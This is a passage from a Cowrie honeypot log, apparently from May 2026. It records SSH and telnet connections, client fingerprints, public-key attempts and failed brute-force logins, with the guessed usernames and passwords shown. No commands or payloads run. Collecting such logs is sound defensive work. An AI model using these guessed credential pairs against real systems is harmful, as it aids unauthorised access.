c"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:32.765092Z","src_ip":"36.95.194.51","session":"e75585a0fba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:33.924475Z","src_ip":"36.95.194.51","session":"e75585a0fba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:35.208962Z","src_ip":"36.95.194.51","session":"e75585a0fba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.174.100.105","src_port":46223,"dst_ip":"10.17.0.5","dst_port":23,"session":"136f33afe9f0","protocol":"telnet","message":"New connection: 78.174.100.105:46223 (10.17.0.5:23) [session: 136f33afe9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:42:46.328334Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":52662,"dst_ip":"10.17.0.5","dst_port":23,"session":"36768dac3fec","protocol":"telnet","message":"New connection: 194.180.12.23:52662 (10.17.0.5:23) [session: 36768dac3fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:23.805173Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":53550,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8b91fe9a41b","protocol":"ssh","message":"New connection: 46.165.56.242:53550 (159.203.135.109:22) [session: a8b91fe9a41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:28.664389Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":36576,"dst_ip":"159.203.135.109","dst_port":22,"session":"41463d8f523e","protocol":"ssh","message":"New connection: 200.108.174.4:36576 (159.203.135.109:22) [session: 41463d8f523e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:42.084139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:42.088862Z","src_ip":"200.108.174.4","session":"41463d8f523e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:42.235513Z","src_ip":"200.108.174.4","session":"41463d8f523e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:42.853638Z","src_ip":"200.108.174.4","session":"41463d8f523e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.004638Z","src_ip":"200.108.174.4","session":"41463d8f523e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":52622,"dst_ip":"10.17.0.5","dst_port":22,"session":"8108f3520d40","protocol":"ssh","message":"New connection: 148.113.160.5:52622 (10.17.0.5:22) [session: 8108f3520d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.725479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.730099Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.750608Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:0a:5f:49:54:74:25:9d:22:0b:07:a5:bb:8b:c8:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY4WmpQBd5wq6B66lPsAwjq5XhJKoixPawl2M/uBdtPbclwfCrCkTagjkshAFip3rz3C7Kv04AXMp/3Q47FDpfweR0u6L94GY+6SOA5r8cpXPozEs1m6v6pRHs5ltEnKqusX/dn8Oqw/2AM9Dz8bx99mopb0W2oQyKgXSruca7HDC3cAXITsP1MecTNnYomdlI8Ou9FHTG6QqgtD8qdct1XEFH+SccVgx/9A/6p+718QUY3mivQFxwV9K76UYWDTuYDVHFN8DuujtOkeOtgwFxm1S4x1A2dR2GacqRjS9102HYQXQ3KeBU1gN2CDu/KWZpC9MAn8DA7U/D2xmXPVDp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:0a:5f:49:54:74:25:9d:22:0b:07:a5:bb:8b:c8:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.831705Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:0a:5f:49:54:74:25:9d:22:0b:07:a5:bb:8b:c8:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY4WmpQBd5wq6B66lPsAwjq5XhJKoixPawl2M/uBdtPbclwfCrCkTagjkshAFip3rz3C7Kv04AXMp/3Q47FDpfweR0u6L94GY+6SOA5r8cpXPozEs1m6v6pRHs5ltEnKqusX/dn8Oqw/2AM9Dz8bx99mopb0W2oQyKgXSruca7HDC3cAXITsP1MecTNnYomdlI8Ou9FHTG6QqgtD8qdct1XEFH+SccVgx/9A/6p+718QUY3mivQFxwV9K76UYWDTuYDVHFN8DuujtOkeOtgwFxm1S4x1A2dR2GacqRjS9102HYQXQ3KeBU1gN2CDu/KWZpC9MAn8DA7U/D2xmXPVDp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.835289Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:39:e7:28:6b:8e:33:b9:58:6a:cf:e2:34:fd:9d:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJOir0/RB/XEFGTkZ/e8WHW37rtY4OfTHH5i/5mG9Q+AqfBBGdXTQ+5pdr+QJ0sdKuZmQysRAHow9g0XMsWq0f7QtKrObxQ4kPpIKQc7mbd3F47b9+jhmFcfkDwI7iYb0JifFx+oAuFIqXQXNWaZV99n5NULaQjps1UH7JpPp6t1Wvql2Bwxb7afsA4zo416t2nGdrV4Yc5cQCOiLsdL5Egac/LBDmXU94tf+3yNdQXptQ+8xefR6ekQtS8p7/T1ZgCijPjty5DJwhlrj9cTeSm/6Ayx7MZOIjBjkJRnqPzxAwahVTatYabCsXs5JiSUSB5FurqvTHsCtht0TTeZqP5yHf7O/fZr/c+aRn0xo69ShmSr3yaQtuW8mF42OFQ60y7s4ESKfZLCSf7pn50REbF7iXaaMaLUXbeN04UO5igRpkykxZO1Vc1XOa6a2ZdEkdrqXWiFMam27RcLGAsaXkZsAOB8AbH1efjEzDgfPf7Ey0GueAhZ3FfZ5320kSft95Ot/s2Qjc+ihDr9rjwQ/n16lDXFjWktn4CIXMWM7Pey/2LOfzzLj/wmdprHAf5sfvo63qo3wZkxuToERu6E6QKe2y99box0z00aoP31d0GFtha8dyijFkAGNbz+ebA1Li7hjdAyAX54pgPoa7yeIVurLW0BIMKHtOmDLZfb81hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:39:e7:28:6b:8e:33:b9:58:6a:cf:e2:34:fd:9d:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.856795Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:39:e7:28:6b:8e:33:b9:58:6a:cf:e2:34:fd:9d:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJOir0/RB/XEFGTkZ/e8WHW37rtY4OfTHH5i/5mG9Q+AqfBBGdXTQ+5pdr+QJ0sdKuZmQysRAHow9g0XMsWq0f7QtKrObxQ4kPpIKQc7mbd3F47b9+jhmFcfkDwI7iYb0JifFx+oAuFIqXQXNWaZV99n5NULaQjps1UH7JpPp6t1Wvql2Bwxb7afsA4zo416t2nGdrV4Yc5cQCOiLsdL5Egac/LBDmXU94tf+3yNdQXptQ+8xefR6ekQtS8p7/T1ZgCijPjty5DJwhlrj9cTeSm/6Ayx7MZOIjBjkJRnqPzxAwahVTatYabCsXs5JiSUSB5FurqvTHsCtht0TTeZqP5yHf7O/fZr/c+aRn0xo69ShmSr3yaQtuW8mF42OFQ60y7s4ESKfZLCSf7pn50REbF7iXaaMaLUXbeN04UO5igRpkykxZO1Vc1XOa6a2ZdEkdrqXWiFMam27RcLGAsaXkZsAOB8AbH1efjEzDgfPf7Ey0GueAhZ3FfZ5320kSft95Ot/s2Qjc+ihDr9rjwQ/n16lDXFjWktn4CIXMWM7Pey/2LOfzzLj/wmdprHAf5sfvo63qo3wZkxuToERu6E6QKe2y99box0z00aoP31d0GFtha8dyijFkAGNbz+ebA1Li7hjdAyAX54pgPoa7yeIVurLW0BIMKHtOmDLZfb81hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.862119Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:5a:92:e7:bc:12:f4:bf:f9:0e:27:4f:53:c5:ba:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCke4laopjaIoI1nXZpDcCSB0LHVywNskmOIrKXuLyDboOYpij1YH3+bazcgObxZiGPTLu4bA5PkmsLj4gr6xRdCGEzf0u5KRwOFcEhS4/H+zxpXLrGXuH9/9oCAmhcn/R1UVMJjUySgkXg+xHzXXWQqTaW1LFWdtP8Y7ZeXgXElME5USKcUZOpvKaSPuMFaGcj5jmesThgTFPH5H2PtnGIy4RuDRcMcX3oN5XnaQiz+jnNGrQJHJ8xIuObj2dLbswpMBFxCIUwPUbLvWg0im8Q8g+wrqiMGIHvNBUQq2XPz/KN4E10zXzyMdG/YerWDE3himvhJMizOZel7o0/zG2p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:5a:92:e7:bc:12:f4:bf:f9:0e:27:4f:53:c5:ba:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.885408Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:5a:92:e7:bc:12:f4:bf:f9:0e:27:4f:53:c5:ba:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCke4laopjaIoI1nXZpDcCSB0LHVywNskmOIrKXuLyDboOYpij1YH3+bazcgObxZiGPTLu4bA5PkmsLj4gr6xRdCGEzf0u5KRwOFcEhS4/H+zxpXLrGXuH9/9oCAmhcn/R1UVMJjUySgkXg+xHzXXWQqTaW1LFWdtP8Y7ZeXgXElME5USKcUZOpvKaSPuMFaGcj5jmesThgTFPH5H2PtnGIy4RuDRcMcX3oN5XnaQiz+jnNGrQJHJ8xIuObj2dLbswpMBFxCIUwPUbLvWg0im8Q8g+wrqiMGIHvNBUQq2XPz/KN4E10zXzyMdG/YerWDE3himvhJMizOZel7o0/zG2p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.888841Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:ab:39:23:2d:aa:17:b5:a8:34:aa:9b:75:01:69:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDi6kr9zy8froqSvsXIU0Af9MVdaUnajtPDNJCn+fDsafQmWR3Cv50UxdGyQSapIXIlSO69pPUDQX1QZ4KHHy8y8ZLb/s68Yt7Gma0Y1xByAX2JmsaNk2thpyASUKZ2gWbltQw0EkQTBLKdDRm1L2j+nPS4kPm/igiZUKwo2kpOSDwEGD1ho5ktgSsKnz85ZERHmNgrG9YHUYFc0Mn5CjXgPu4aJebokY1CY6iQ56RTryBK4JCGIQYWXFv6EWsdXix5fqFQiSpbl7lsi7SqkXWVR2yVX1mMnvEY2M+il1lvSRv4D/9VO7P6mMWB1V/v9SCFm4YoiYqHwdyckh1feQh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:ab:39:23:2d:aa:17:b5:a8:34:aa:9b:75:01:69:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.909899Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:ab:39:23:2d:aa:17:b5:a8:34:aa:9b:75:01:69:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDi6kr9zy8froqSvsXIU0Af9MVdaUnajtPDNJCn+fDsafQmWR3Cv50UxdGyQSapIXIlSO69pPUDQX1QZ4KHHy8y8ZLb/s68Yt7Gma0Y1xByAX2JmsaNk2thpyASUKZ2gWbltQw0EkQTBLKdDRm1L2j+nPS4kPm/igiZUKwo2kpOSDwEGD1ho5ktgSsKnz85ZERHmNgrG9YHUYFc0Mn5CjXgPu4aJebokY1CY6iQ56RTryBK4JCGIQYWXFv6EWsdXix5fqFQiSpbl7lsi7SqkXWVR2yVX1mMnvEY2M+il1lvSRv4D/9VO7P6mMWB1V/v9SCFm4YoiYqHwdyckh1feQh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.914256Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:6c:1f:5b:28:96:5a:be:0e:f0:ea:4e:1f:82:bd:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChyedNbhqKwSgExoPe2UVUqhjmuaxXLAtoLtLhBuwtcBcQ2VQASseA4PKKLEQlS3w01oT3vbfgIFAEV1zlSb5tgzSuvKIWFJMlG0SB8P79YrCOamq6+eEgllMCDEptRZMMVx6pOwCGhKZ4XOlhOfwxQFU5/Xnvm1WYR6ukwqIy5ZfL3UTnhreLQ0Endjq2PGokc2DLX2w3yxp6bOAL5ZlRrTbwlhUmbMRwoaQEFwxNok1jb5GINm2GgBSZ6tVtaSxcLNNM1APfWP3LibQY2oY7a/MIHHecFqdf6emGmwM/RNbdftUbiUxzC8EJTO2MQTe6WcYgEoFzx3YbceKHZ+dR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:6c:1f:5b:28:96:5a:be:0e:f0:ea:4e:1f:82:bd:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.935709Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:6c:1f:5b:28:96:5a:be:0e:f0:ea:4e:1f:82:bd:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChyedNbhqKwSgExoPe2UVUqhjmuaxXLAtoLtLhBuwtcBcQ2VQASseA4PKKLEQlS3w01oT3vbfgIFAEV1zlSb5tgzSuvKIWFJMlG0SB8P79YrCOamq6+eEgllMCDEptRZMMVx6pOwCGhKZ4XOlhOfwxQFU5/Xnvm1WYR6ukwqIy5ZfL3UTnhreLQ0Endjq2PGokc2DLX2w3yxp6bOAL5ZlRrTbwlhUmbMRwoaQEFwxNok1jb5GINm2GgBSZ6tVtaSxcLNNM1APfWP3LibQY2oY7a/MIHHecFqdf6emGmwM/RNbdftUbiUxzC8EJTO2MQTe6WcYgEoFzx3YbceKHZ+dR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.939196Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:44.958823Z","src_ip":"148.113.160.5","session":"8108f3520d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":60488,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d374a1dbcf9","protocol":"ssh","message":"New connection: 144.91.86.102:60488 (10.17.0.5:22) [session: 2d374a1dbcf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:48.126110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:48.131017Z","src_ip":"144.91.86.102","session":"2d374a1dbcf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:48.223546Z","src_ip":"144.91.86.102","session":"2d374a1dbcf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gagan","message":"login attempt [root/gagan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:48.634089Z","src_ip":"144.91.86.102","session":"2d374a1dbcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:43:49.731953Z","src_ip":"144.91.86.102","session":"2d374a1dbcf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":36382,"dst_ip":"159.203.135.109","dst_port":22,"session":"353bedbbd8af","protocol":"ssh","message":"New connection: 138.99.80.102:36382 (159.203.135.109:22) [session: 353bedbbd8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:01.716626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:01.721738Z","src_ip":"138.99.80.102","session":"353bedbbd8af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:01.830545Z","src_ip":"138.99.80.102","session":"353bedbbd8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:02.296336Z","src_ip":"138.99.80.102","session":"353bedbbd8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:44:03.408246Z","src_ip":"138.99.80.102","session":"353bedbbd8af","protocol":"ssh"}
